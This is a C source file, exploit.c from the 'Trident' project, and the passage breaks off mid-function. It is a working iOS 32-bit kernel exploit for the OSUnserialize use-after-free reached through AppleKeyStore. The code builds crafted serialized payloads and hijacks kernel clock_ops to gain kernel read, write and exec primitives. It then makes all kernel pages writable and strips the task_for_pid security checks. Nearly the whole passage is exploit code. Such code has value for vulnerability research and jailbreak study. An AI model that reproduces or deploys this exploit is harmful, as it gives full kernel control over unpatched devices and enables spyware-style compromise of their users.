//
//  exploit.c
//  Trident
//
//  Created by Benjamin Randazzo on 06/11/2016.
//  Copyright © 2016 Benjamin Randazzo. All rights reserved.
//

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>

#include <pthread.h>

#include <sys/syscall.h>
#include <sys/kauth.h>
#include <sys/stat.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <sys/utsname.h>

#include <mach/mach.h>

#include <IOKit/IOKitLib.h>

#include <dlfcn.h>
#include <asl.h>

#include <spawn.h>

enum
{
    kOSSerializeDictionary   = 0x01000000U,
    kOSSerializeArray        = 0x02000000U,
    kOSSerializeSet          = 0x03000000U,
    kOSSerializeNumber       = 0x04000000U,
    kOSSerializeSymbol       = 0x08000000U,
    kOSSerializeString       = 0x09000000U,
    kOSSerializeData         = 0x0a000000U,
    kOSSerializeBoolean      = 0x0b000000U,
    kOSSerializeObject       = 0x0c000000U,
    kOSSerializeTypeMask     = 0x7F000000U,
    kOSSerializeDataMask     = 0x00FFFFFFU,
    kOSSerializeEndCollecton = 0x80000000U,
};

#define kOSSerializeBinarySignature "\323\0\0"

#define WRITE_IN(buf, data) do { *(uint32_t *)(buf+bufpos) = (data); bufpos+=4; } while(0)

typedef void* (*dlopen_ptr)(const char *filename, int flags);
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
static dlopen_ptr dlopen_func = 0;
static dlsym_ptr dlsym_func = 0;

#ifdef DEBUG
#define debug_print(fmt, ...) \
            do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
#else
#define debug_print(fmt, ...)
#endif

#define DLSYM_FUNC(func, library, return_type, args...) \
  typedef return_type (*func##_ptr)(args); \
  func##_ptr func##_func = dlsym_func(library, #func); \
  debug_print("function %s = %p!\n", #func, func##_func);

#define TTB_SIZE            4096

#define L1_SECT_S_BIT       (1 << 16)
#define L1_SECT_PROTO       (1 << 1)        /* 0b10 */
#define L1_SECT_AP_URW      (1 << 10) | (1 << 11)
#define L1_SECT_APX         (1 << 15)
#define L1_SECT_DEFPROT     (L1_SECT_AP_URW | L1_SECT_APX)
#define L1_SECT_SORDER      (0)            /* 0b00, not cacheable, strongly ordered. */
#define L1_SECT_DEFCACHE    (L1_SECT_SORDER)
#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)

#define L1_PAGE_PROTO       (1 << 0)
#define L1_COARSE_PT        (0xFFFFFC00)

#define PT_SIZE             256

#define L2_PAGE_APX         (1 << 9)

static char *lockfile;
static int fd;

static int fildes[2];
static uint32_t cpipe;
static uint32_t pipebuf;

static clock_serv_t clk_battery;
static clock_serv_t clk_realtime;

struct mac_policy_ops{
    uint32_t mpo_audit_check_postselect;
    uint32_t mpo_audit_check_preselect;
    uint32_t mpo_bpfdesc_label_associate;
    uint32_t mpo_bpfdesc_label_destroy;
    uint32_t mpo_bpfdesc_label_init;
    uint32_t mpo_bpfdesc_check_receive;
    uint32_t mpo_cred_check_label_update_execve;
    uint32_t mpo_cred_check_label_update;
    uint32_t mpo_cred_check_visible;
    uint32_t mpo_cred_label_associate_fork;
    uint32_t mpo_cred_label_associate_kernel;
    uint32_t mpo_cred_label_associate;
    uint32_t mpo_cred_label_associate_user;
    uint32_t mpo_cred_label_destroy;
    uint32_t mpo_cred_label_externalize_audit;
    uint32_t mpo_cred_label_externalize;
    uint32_t mpo_cred_label_init;
    uint32_t mpo_cred_label_internalize;
    uint32_t mpo_cred_label_update_execve;
    uint32_t mpo_cred_label_update;
    uint32_t mpo_devfs_label_associate_device;
    uint32_t mpo_devfs_label_associate_directory;
    uint32_t mpo_devfs_label_copy;
    uint32_t mpo_devfs_label_destroy;
    uint32_t mpo_devfs_label_init;
    uint32_t mpo_devfs_label_update;
    uint32_t mpo_file_check_change_offset;
    uint32_t mpo_file_check_create;
    uint32_t mpo_file_check_dup;
    uint32_t mpo_file_check_fcntl;
    uint32_t mpo_file_check_get_offset;
    uint32_t mpo_file_check_get;
    uint32_t mpo_file_check_inherit;
    uint32_t mpo_file_check_ioctl;
    uint32_t mpo_file_check_lock;
    uint32_t mpo_file_check_mmap_downgrade;
    uint32_t mpo_file_check_mmap;
    uint32_t mpo_file_check_receive;
    uint32_t mpo_file_check_set;
    uint32_t mpo_file_label_init;
    uint32_t mpo_file_label_destroy;
    uint32_t mpo_file_label_associate;
    uint32_t mpo_ifnet_check_label_update;
    uint32_t mpo_ifnet_check_transmit;
    uint32_t mpo_ifnet_label_associate;
    uint32_t mpo_ifnet_label_copy;
    uint32_t mpo_ifnet_label_destroy;
    uint32_t mpo_ifnet_label_externalize;
    uint32_t mpo_ifnet_label_init;
    uint32_t mpo_ifnet_label_internalize;
    uint32_t mpo_ifnet_label_update;
    uint32_t mpo_ifnet_label_recycle;
    uint32_t mpo_inpcb_check_deliver;
    uint32_t mpo_inpcb_label_associate;
    uint32_t mpo_inpcb_label_destroy;
    uint32_t mpo_inpcb_label_init;
    uint32_t mpo_inpcb_label_recycle;
    uint32_t mpo_inpcb_label_update;
    uint32_t mpo_iokit_check_device;
    uint32_t mpo_ipq_label_associate;
    uint32_t mpo_ipq_label_compare;
    uint32_t mpo_ipq_label_destroy;
    uint32_t mpo_ipq_label_init;
    uint32_t mpo_ipq_label_update;
    uint32_t mpo_file_check_library_validation;
    uint32_t mpo_vnode_notify_setacl;
    uint32_t mpo_vnode_notify_setattrlist;
    uint32_t mpo_vnode_notify_setextattr;
    uint32_t mpo_vnode_notify_setflags;
    uint32_t mpo_vnode_notify_setmode;
    uint32_t mpo_vnode_notify_setowner;
    uint32_t mpo_vnode_notify_setutimes;
    uint32_t mpo_vnode_notify_truncate;
    uint32_t mpo_mbuf_label_associate_bpfdesc;
    uint32_t mpo_mbuf_label_associate_ifnet;
    uint32_t mpo_mbuf_label_associate_inpcb;
    uint32_t mpo_mbuf_label_associate_ipq;
    uint32_t mpo_mbuf_label_associate_linklayer;
    uint32_t mpo_mbuf_label_associate_multicast_encap;
    uint32_t mpo_mbuf_label_associate_netlayer;
    uint32_t mpo_mbuf_label_associate_socket;
    uint32_t mpo_mbuf_label_copy;
    uint32_t mpo_mbuf_label_destroy;
    uint32_t mpo_mbuf_label_init;
    uint32_t mpo_mount_check_fsctl;
    uint32_t mpo_mount_check_getattr;
    uint32_t mpo_mount_check_label_update;
    uint32_t mpo_mount_check_mount;
    uint32_t mpo_mount_check_remount;
    uint32_t mpo_mount_check_setattr;
    uint32_t mpo_mount_check_stat;
    uint32_t mpo_mount_check_umount;
    uint32_t mpo_mount_label_associate;
    uint32_t mpo_mount_label_destroy;
    uint32_t mpo_mount_label_externalize;
    uint32_t mpo_mount_label_init;
    uint32_t mpo_mount_label_internalize;
    uint32_t mpo_netinet_fragment;
    uint32_t mpo_netinet_icmp_reply;
    uint32_t mpo_netinet_tcp_reply;
    uint32_t mpo_pipe_check_ioctl;
    uint32_t mpo_pipe_check_kqfilter;
    uint32_t mpo_pipe_check_label_update;
    uint32_t mpo_pipe_check_read;
    uint32_t mpo_pipe_check_select;
    uint32_t mpo_pipe_check_stat;
    uint32_t mpo_pipe_check_write;
    uint32_t mpo_pipe_label_associate;
    uint32_t mpo_pipe_label_copy;
    uint32_t mpo_pipe_label_destroy;
    uint32_t mpo_pipe_label_externalize;
    uint32_t mpo_pipe_label_init;
    uint32_t mpo_pipe_label_internalize;
    uint32_t mpo_pipe_label_update;
    uint32_t mpo_policy_destroy;
    uint32_t mpo_policy_init;
    uint32_t mpo_policy_initbsd;
    uint32_t mpo_policy_syscall;
    uint32_t mpo_system_check_sysctlbyname;
    uint32_t mpo_proc_check_inherit_ipc_ports;
    uint32_t mpo_vnode_check_rename;
    uint32_t mpo_kext_check_query;
    uint32_t mpo_iokit_check_nvram_get;
    uint32_t mpo_iokit_check_nvram_set;
    uint32_t mpo_iokit_check_nvram_delete;
    uint32_t mpo_proc_check_expose_task;
    uint32_t mpo_proc_check_set_host_special_port;
    uint32_t mpo_proc_check_set_host_exception_port;
    uint32_t mpo_exc_action_check_exception_send;
    uint32_t mpo_exc_action_label_associate;
    uint32_t mpo_exc_action_label_populate;
    uint32_t mpo_exc_action_label_destroy;
    uint32_t mpo_exc_action_label_init;
    uint32_t mpo_exc_action_label_update;
    uint32_t mpo_reserved1;
    uint32_t mpo_reserved2;
    uint32_t mpo_reserved3;
    uint32_t mpo_reserved4;
    uint32_t mpo_skywalk_flow_check_connect;
    uint32_t mpo_skywalk_flow_check_listen;
    uint32_t mpo_posixsem_check_create;
    uint32_t mpo_posixsem_check_open;
    uint32_t mpo_posixsem_check_post;
    uint32_t mpo_posixsem_check_unlink;
    uint32_t mpo_posixsem_check_wait;
    uint32_t mpo_posixsem_label_associate;
    uint32_t mpo_posixsem_label_destroy;
    uint32_t mpo_posixsem_label_init;
    uint32_t mpo_posixshm_check_create;
    uint32_t mpo_posixshm_check_mmap;
    uint32_t mpo_posixshm_check_open;
    uint32_t mpo_posixshm_check_stat;
    uint32_t mpo_posixshm_check_truncate;
    uint32_t mpo_posixshm_check_unlink;
    uint32_t mpo_posixshm_label_associate;
    uint32_t mpo_posixshm_label_destroy;
    uint32_t mpo_posixshm_label_init;
    uint32_t mpo_proc_check_debug;
    uint32_t mpo_proc_check_fork;
    uint32_t mpo_proc_check_get_task_name;
    uint32_t mpo_proc_check_get_task;
    uint32_t mpo_proc_check_getaudit;
    uint32_t mpo_proc_check_getauid;
    uint32_t mpo_proc_check_getlcid;
    uint32_t mpo_proc_check_mprotect;
    uint32_t mpo_proc_check_sched;
    uint32_t mpo_proc_check_setaudit;
    uint32_t mpo_proc_check_setauid;
    uint32_t mpo_proc_check_setlcid;
    uint32_t mpo_proc_check_signal;
    uint32_t mpo_proc_check_wait;
    uint32_t mpo_proc_label_destroy;
    uint32_t mpo_proc_label_init;
    uint32_t mpo_socket_check_accept;
    uint32_t mpo_socket_check_accepted;
    uint32_t mpo_socket_check_bind;
    uint32_t mpo_socket_check_connect;
    uint32_t mpo_socket_check_create;
    uint32_t mpo_socket_check_deliver;
    uint32_t mpo_socket_check_kqfilter;
    uint32_t mpo_socket_check_label_update;
    uint32_t mpo_socket_check_listen;
    uint32_t mpo_socket_check_receive;
    uint32_t mpo_socket_check_received;
    uint32_t mpo_socket_check_select;
    uint32_t mpo_socket_check_send;
    uint32_t mpo_socket_check_stat;
    uint32_t mpo_socket_check_setsockopt;
    uint32_t mpo_socket_check_getsockopt;
    uint32_t mpo_socket_label_associate_accept;
    uint32_t mpo_socket_label_associate;
    uint32_t mpo_socket_label_copy;
    uint32_t mpo_socket_label_destroy;
    uint32_t mpo_socket_label_externalize;
    uint32_t mpo_socket_label_init;
    uint32_t mpo_socket_label_internalize;
    uint32_t mpo_socket_label_update;
    uint32_t mpo_socketpeer_label_associate_mbuf;
    uint32_t mpo_socketpeer_label_associate_socket;
    uint32_t mpo_socketpeer_label_destroy;
    uint32_t mpo_socketpeer_label_externalize;
    uint32_t mpo_socketpeer_label_init;
    uint32_t mpo_system_check_acct;
    uint32_t mpo_system_check_audit;
    uint32_t mpo_system_check_auditctl;
    uint32_t mpo_system_check_auditon;
    uint32_t mpo_system_check_host_priv;
    uint32_t mpo_system_check_nfsd;
    uint32_t mpo_system_check_reboot;
    uint32_t mpo_system_check_settime;
    uint32_t mpo_system_check_swapoff;
    uint32_t mpo_system_check_swapon;
    uint32_t mpo_socket_check_ioctl;
    uint32_t mpo_sysvmsg_label_associate;
    uint32_t mpo_sysvmsg_label_destroy;
    uint32_t mpo_sysvmsg_label_init;
    uint32_t mpo_sysvmsg_label_recycle;
    uint32_t mpo_sysvmsq_check_enqueue;
    uint32_t mpo_sysvmsq_check_msgrcv;
    uint32_t mpo_sysvmsq_check_msgrmid;
    uint32_t mpo_sysvmsq_check_msqctl;
    uint32_t mpo_sysvmsq_check_msqget;
    uint32_t mpo_sysvmsq_check_msqrcv;
    uint32_t mpo_sysvmsq_check_msqsnd;
    uint32_t mpo_sysvmsq_label_associate;
    uint32_t mpo_sysvmsq_label_destroy;
    uint32_t mpo_sysvmsq_label_init;
    uint32_t mpo_sysvmsq_label_recycle;
    uint32_t mpo_sysvsem_check_semctl;
    uint32_t mpo_sysvsem_check_semget;
    uint32_t mpo_sysvsem_check_semop;
    uint32_t mpo_sysvsem_label_associate;
    uint32_t mpo_sysvsem_label_destroy;
    uint32_t mpo_sysvsem_label_init;
    uint32_t mpo_sysvsem_label_recycle;
    uint32_t mpo_sysvshm_check_shmat;
    uint32_t mpo_sysvshm_check_shmctl;
    uint32_t mpo_sysvshm_check_shmdt;
    uint32_t mpo_sysvshm_check_shmget;
    uint32_t mpo_sysvshm_label_associate;
    uint32_t mpo_sysvshm_label_destroy;
    uint32_t mpo_sysvshm_label_init;
    uint32_t mpo_sysvshm_label_recycle;
    uint32_t mpo_proc_notify_exit;
    uint32_t mpo_mount_check_snapshot_revert;
    uint32_t mpo_vnode_check_getattr;
    uint32_t mpo_mount_check_snapshot_create;
    uint32_t mpo_mount_check_snapshot_delete;
    uint32_t mpo_vnode_check_clone;
    uint32_t mpo_proc_check_get_cs_info;
    uint32_t mpo_proc_check_set_cs_info;
    uint32_t mpo_iokit_check_hid_control;
    uint32_t mpo_vnode_check_access;
    uint32_t mpo_vnode_check_chdir;
    uint32_t mpo_vnode_check_chroot;
    uint32_t mpo_vnode_check_create;
    uint32_t mpo_vnode_check_deleteextattr;
    uint32_t mpo_vnode_check_exchangedata;
    uint32_t mpo_vnode_check_exec;
    uint32_t mpo_vnode_check_getattrlist;
    uint32_t mpo_vnode_check_getextattr;
    uint32_t mpo_vnode_check_ioctl;
    uint32_t mpo_vnode_check_kqfilter;
    uint32_t mpo_vnode_check_label_update;
    uint32_t mpo_vnode_check_link;
    uint32_t mpo_vnode_check_listextattr;
    uint32_t mpo_vnode_check_lookup;
    uint32_t mpo_vnode_check_open;
    uint32_t mpo_vnode_check_read;
    uint32_t mpo_vnode_check_readdir;
    uint32_t mpo_vnode_check_readlink;
    uint32_t mpo_vnode_check_rename_from;
    uint32_t mpo_vnode_check_rename_to;
    uint32_t mpo_vnode_check_revoke;
    uint32_t mpo_vnode_check_select;
    uint32_t mpo_vnode_check_setattrlist;
    uint32_t mpo_vnode_check_setextattr;
    uint32_t mpo_vnode_check_setflags;
    uint32_t mpo_vnode_check_setmode;
    uint32_t mpo_vnode_check_setowner;
    uint32_t mpo_vnode_check_setutimes;
    uint32_t mpo_vnode_check_stat;
    uint32_t mpo_vnode_check_truncate;
    uint32_t mpo_vnode_check_unlink;
    uint32_t mpo_vnode_check_write;
    uint32_t mpo_vnode_label_associate_devfs;
    uint32_t mpo_vnode_label_associate_extattr;
    uint32_t mpo_vnode_label_associate_file;
    uint32_t mpo_vnode_label_associate_pipe;
    uint32_t mpo_vnode_label_associate_posixsem;
    uint32_t mpo_vnode_label_associate_posixshm;
    uint32_t mpo_vnode_label_associate_singlelabel;
    uint32_t mpo_vnode_label_associate_socket;
    uint32_t mpo_vnode_label_copy;
    uint32_t mpo_vnode_label_destroy;
    uint32_t mpo_vnode_label_externalize_audit;
    uint32_t mpo_vnode_label_externalize;
    uint32_t mpo_vnode_label_init;
    uint32_t mpo_vnode_label_internalize;
    uint32_t mpo_vnode_label_recycle;
    uint32_t mpo_vnode_label_store;
    uint32_t mpo_vnode_label_update_extattr;
    uint32_t mpo_vnode_label_update;
    uint32_t mpo_vnode_notify_create;
    uint32_t mpo_vnode_check_signature;
    uint32_t mpo_vnode_check_uipc_bind;
    uint32_t mpo_vnode_check_uipc_connect;
    uint32_t mpo_proc_check_run_cs_invalid;
    uint32_t mpo_proc_check_suspend_resume;
    uint32_t mpo_thread_userret;
    uint32_t mpo_iokit_check_set_properties;
    uint32_t mpo_system_check_chud;
    uint32_t mpo_vnode_check_searchfs;
    uint32_t mpo_priv_check;
    uint32_t mpo_priv_grant;
    uint32_t mpo_proc_check_map_anon;
    uint32_t mpo_vnode_check_fsgetpath;
    uint32_t mpo_iokit_check_open;
    uint32_t mpo_proc_check_ledger;
    uint32_t mpo_vnode_notify_rename;
    uint32_t mpo_vnode_check_setacl;
    uint32_t mpo_vnode_notify_deleteextattr;
    uint32_t mpo_system_check_kas_info;
    uint32_t mpo_vnode_check_lookup_preflight;
    uint32_t mpo_vnode_notify_open;
    uint32_t mpo_system_check_info;
    uint32_t mpo_pty_notify_grant;
    uint32_t mpo_pty_notify_close;
    uint32_t mpo_vnode_find_sigs;
    uint32_t mpo_kext_check_load;
    uint32_t mpo_kext_check_unload;
    uint32_t mpo_proc_check_proc_info;
    uint32_t mpo_vnode_notify_link;
    uint32_t mpo_iokit_check_filter_properties;
    uint32_t mpo_iokit_check_get_property;
};

#include "offsets32.c"

static unsigned char clock_ops_overwrite[] = {
    0x00, 0x00, 0x00, 0x00, // [00] (rtclock.getattr): address of OSSerializer::serialize (+1)
    0x00, 0x00, 0x00, 0x00, // [04] (calend_config): NULL
    0x00, 0x00, 0x00, 0x00, // [08] (calend_init): NULL
    0x00, 0x00, 0x00, 0x00, // [0C] (calend_gettime): address of calend_gettime (+1)
    0x00, 0x00, 0x00, 0x00, // [10] (calend_getattr): address of _bufattr_cpx (+1)
};

static unsigned char uaf_payload_buffer[] = {
    0x00, 0x00, 0x00, 0x00, // [00] ptr to clock_ops_overwrite buffer
    0x00, 0x00, 0x00, 0x00, // [04] address of clock_ops array in kern memory
    0x00, 0x00, 0x00, 0x00, // [08] address of _copyin
    0x00, 0x00, 0x00, 0x00, // [0C] NULL
    0x00, 0x00, 0x00, 0x00, // [10] address of OSSerializer::serialize (+1)
    0x00, 0x00, 0x00, 0x00, // [14] address of "BX LR" code fragment
    0x00, 0x00, 0x00, 0x00, // [18] NULL
    0x00, 0x00, 0x00, 0x00, // [1C] address of OSSymbol::getMetaClass (+1)
    0x00, 0x00, 0x00, 0x00, // [20] address of "BX LR" code fragment
    0x00, 0x00, 0x00, 0x00, // [24] address of "BX LR" code fragment
};

static unsigned char pExploit[128];

#define PAYLOAD_TO_PEXPLOIT (-76)
#define PEXPLOIT_TO_UAF_PAYLOAD 8

static vm_offset_t vm_kernel_addrperm;

static uint32_t write_gadget; // address of "str r1, [r0, #0xc] ; bx lr"

typedef kern_return_t (*clock_get_attributes_ptr)(clock_t clock_name, clock_flavor_t flavor, clock_attr_t attribute, mach_msg_type_number_t attribute_count);
static clock_get_attributes_ptr clock_get_attributes_func;

typedef ssize_t (*read_ptr)(int fd, void *buf, size_t count);
static read_ptr read_func;

typedef ssize_t (*write_ptr)(int fd, const void *buf, size_t count);
static write_ptr write_func;

void *insert_payload(void *ptr) 
{
  void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);

#ifdef DEBUG
  typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
  asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
#endif

  typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
  memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");

  void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);

  typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
  IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");

  typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
  IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");

  typedef mach_port_t (*mach_task_self_ptr)();
  mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");

  typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
  io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");

  typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
  IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");

  typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
  IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");

  typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
  IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");

  typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
  IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");

  char stackAnchor;
  uint32_t bufpos; // unsigned int size;
  char buffer[4096];
  int v26;
  mach_port_t connection;
  kern_return_t result;

  char *p = (char *)((unsigned int)&stackAnchor & 0xFFFFF000);
  // kauth_filesec.fsec_magic
  *(uint32_t *)(p + 0xEC0) = 0x12CC16D;
  // kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL
  *(uint32_t *)(p + 0xEE4) = -1;
  // kauth_filesec.fsec_acl.acl_ace[...]
  memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);

  memcpy_func(buffer, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos = sizeof(kOSSerializeBinarySignature);

  WRITE_IN(buffer, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);

  WRITE_IN(buffer, kOSSerializeSymbol | 128);
  // "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara"
  for (v26=0; v26<124; v26+=4) {
    WRITE_IN(buffer, 0x72617261);
  }
  WRITE_IN(buffer, 0x00617261);
  WRITE_IN(buffer, kOSSerializeNumber | 2048);
  WRITE_IN(buffer, 0x00000004);
  WRITE_IN(buffer, 0X00000000);

  WRITE_IN(buffer, kOSSerializeSymbol | 30);
  WRITE_IN(buffer, 0x4b444948); // "HIDKeyboardModifierMappingDst"
  WRITE_IN(buffer, 0x6f627965);
  WRITE_IN(buffer, 0x4d647261);
  WRITE_IN(buffer, 0x6669646f);
  WRITE_IN(buffer, 0x4d726569);
  WRITE_IN(buffer, 0x69707061);
  WRITE_IN(buffer, 0x7344676e);
  WRITE_IN(buffer, 0x00000074);
  WRITE_IN(buffer, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
  WRITE_IN(buffer, 0x00000193);
  WRITE_IN(buffer, 0x00000000);

  io_service_t service = IOServiceGetMatchingService_func(0, IOServiceMatching_func("AppleKeyStore"));

  NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
  io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, buffer, bufpos, &result, &connection);
  if (result != KERN_SUCCESS) {
    debug_print("%s\n", "io_service_open_extended fail");
    return NULL;
  }

  io_object_t object = 0;
  uint32_t size = sizeof(buffer);
  io_iterator_t iterator;
  IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);
  uint32_t *args = (uint32_t *)ptr;
  uint32_t kernel_base = *args;
  uint32_t payload_ptr = 0;

  do {
    if (object) {
      IOObjectRelease_func(object);
    }
    object = IOIteratorNext_func(iterator);
  } while (IORegistryEntryGetProperty_func(object, "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara", buffer, &size));

  if (size > 8) {
    payload_ptr = *(uint32_t *)(buffer+16);
  }

  *(uint32_t *)clock_ops_overwrite = kernel_base + find_OSSerializer_serialize() + 1;
  *(uint32_t *)(clock_ops_overwrite+0xC) = kernel_base + find_calend_gettime() + 1;
  *(uint32_t *)(clock_ops_overwrite+0x10) = kernel_base + find_bufattr_cpx() + 1;

  *(uint32_t *)uaf_payload_buffer = (uint32_t)clock_ops_overwrite;
  *(uint32_t *)(uaf_payload_buffer+0x4) = kernel_base + find_clock_ops();
  *(uint32_t *)(uaf_payload_buffer+0x8) = kernel_base + find_copyin();
  *(uint32_t *)(uaf_payload_buffer+0x10) = kernel_base + find_OSSerializer_serialize() + 1;
  *(uint32_t *)(uaf_payload_buffer+0x14) = kernel_base + find_bx_lr();
  *(uint32_t *)(uaf_payload_buffer+0x1C) = kernel_base + find_OSSymbol_getMetaClass() + 1;
  *(uint32_t *)(uaf_payload_buffer+0x20) = kernel_base + find_bx_lr();
  *(uint32_t *)(uaf_payload_buffer+0x24) = kernel_base + find_bx_lr();

  memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD, uaf_payload_buffer, sizeof(uaf_payload_buffer));
  memcpy_func(pExploit+PEXPLOIT_TO_UAF_PAYLOAD+sizeof(uaf_payload_buffer), clock_ops_overwrite, sizeof(clock_ops_overwrite));

  // kauth_filesec.fsec_acl.acl_ace[...]
  memcpy_func((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);

  *(uint32_t *)(args[1]) = payload_ptr;

  asm_syscall(SYS_open_extended, (long)lockfile, O_WRONLY | O_EXLOCK, KAUTH_UID_NONE, KAUTH_GID_NONE, 0644, (long)(p + 0xEC0));
  return NULL;

}


uint32_t read_primitive(uint32_t addr) {
    int attr;
    unsigned int attrCnt;
    
    return clock_get_attributes_func(clk_battery, addr, &attr, (mach_msg_type_number_t)&attrCnt);
}

void exec_primitive(uint32_t fct, uint32_t arg1, uint32_t arg2) {
    int attr;
    unsigned int attrCnt;
    char data[64];
    
    write_func(fildes[1], "AAAABBBB", 8);
    write_func(fildes[1], &arg1, 4);
    write_func(fildes[1], &arg2, 4);
    write_func(fildes[1], &fct, 4);
    clock_get_attributes_func(clk_realtime, pipebuf, &attr, (mach_msg_type_number_t)&attrCnt);
    
    read_func(fildes[0], data, 64);
}

void write_primitive(uint32_t addr, uint32_t value) {
    addr -= 0xc;
    exec_primitive(write_gadget, addr, value);
}

void patch_kernel_pmap(uint32_t kernel_base) {
    uint32_t kernel_pmap = find_kernel_pmap() + kernel_base;
    uint32_t kernel_pmap_store = read_primitive(kernel_pmap);
    uint32_t tte_virt = read_primitive(kernel_pmap_store);
    uint32_t tte_phys = read_primitive(kernel_pmap_store+4);
    
    /*printf("kernel pmap store @ 0x%08x\n", kernel_pmap_store);*/
    /*printf("kernel pmap tte is at VA 0x%08x PA 0x%08x\n", tte_virt, tte_phys);*/
    
    /* every page is writable */
    uint32_t i;
    uint32_t j;
    for (i=0; i<TTB_SIZE; i++) {
        uint32_t addr = tte_virt+(i<<2);
        uint32_t entry = read_primitive(addr);
        if ((entry & L1_PAGE_PROTO) == L1_PAGE_PROTO) {
            uint32_t page_entry = ((entry & L1_COARSE_PT) - tte_phys) + tte_virt;
            for (j=0; j<PT_SIZE; j++) {
                uint32_t addr2 = page_entry+(j<<2);
                uint32_t entry2 = read_primitive(addr2);
                if (entry2) {
                    uint32_t new_entry2 = (entry2 & (~L2_PAGE_APX));
                    write_primitive(addr2, new_entry2);
                }
            }
        } else if ((entry & L1_SECT_PROTO) == L1_SECT_PROTO) {
            uint32_t new_entry = L1_PROTO_TTE(entry);
            new_entry &= ~L1_SECT_APX;
            write_primitive(addr, new_entry);
        }
    }
    
    uint32_t flush_dcache = find_flush_dcache() + kernel_base;
    exec_primitive(flush_dcache, 0, 0);
    
    uint32_t invalidate_tlb = find_invalidate_tlb() + kernel_base;
    exec_primitive(invalidate_tlb, 0, 0);
}

void patch_task_for_pid(uint32_t kernel_base) {
    uint32_t task_for_pid_base = find_task_for_pid() + kernel_base;
    
    uint32_t pid_check_addr = find_pid_check() + task_for_pid_base;
    write_primitive(pid_check_addr, read_primitive(pid_check_addr) + 0xff); // cmp r6, #ff
    
    uint32_t posix_check_ret_addr = find_posix_check() + task_for_pid_base;
    write_primitive(posix_check_ret_addr, read_primitive(posix_check_ret_addr) + 0xff); // cmp r0, #ff
    
    uint32_t mac_proc_check_ret_addr = find_mac_proc_check() + task_for_pid_base;
    write_primitive(mac_proc_check_ret_addr, read_primitive(mac_proc_check_ret_addr) | 0x10000); // cmp.w r8, #1
}

// from patchfinder.c
static int insn_is_32bit(uint16_t * i)
{
    return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;
}

static uint32_t bit_range(uint32_t x, int start, int end)
{
    x = (x << (31 - start)) >> (31 - start);
    x = (x >> end);
    return x;
}

static uint32_t decode_immed(uint32_t instruction)
{
    uint32_t immed16 = 0;
    immed16 |= bit_range(instruction, 24, 16) << 0;
    immed16 |= bit_range(instruction, 5, 0) << 12;
    immed16 |= bit_range(instruction, 10, 10) << 11;
    immed16 |= bit_range(instruction, 31, 28) << 8;
    return immed16;
}

static unsigned char *
boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
                           const unsigned char* needle,   size_t nlen)
{
    size_t last, scan = 0;
    size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
                                          * bad character shift */

    /* Sanity checks on the parameters */
    if (nlen <= 0 || !haystack || !needle)
        return NULL;

    /* ---- Preprocess ---- */
    /* Initialize the table to default value */
    /* When a character is encountered that does not occur
     * in the needle, we can safely skip ahead for the whole
     * length of the needle.
     */
    for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
        bad_char_skip[scan] = nlen;

    /* C arrays have the first byte at [0], therefore:
     * [nlen - 1] is the last byte of the array. */
    last = nlen - 1;

    /* Then populate it with the analysis of the needle */
    for (scan = 0; scan < last; scan = scan + 1)
        bad_char_skip[needle[scan]] = last - scan;

    /* ---- Do the matching ---- */

    /* Search the haystack, while the needle can still be within it. */
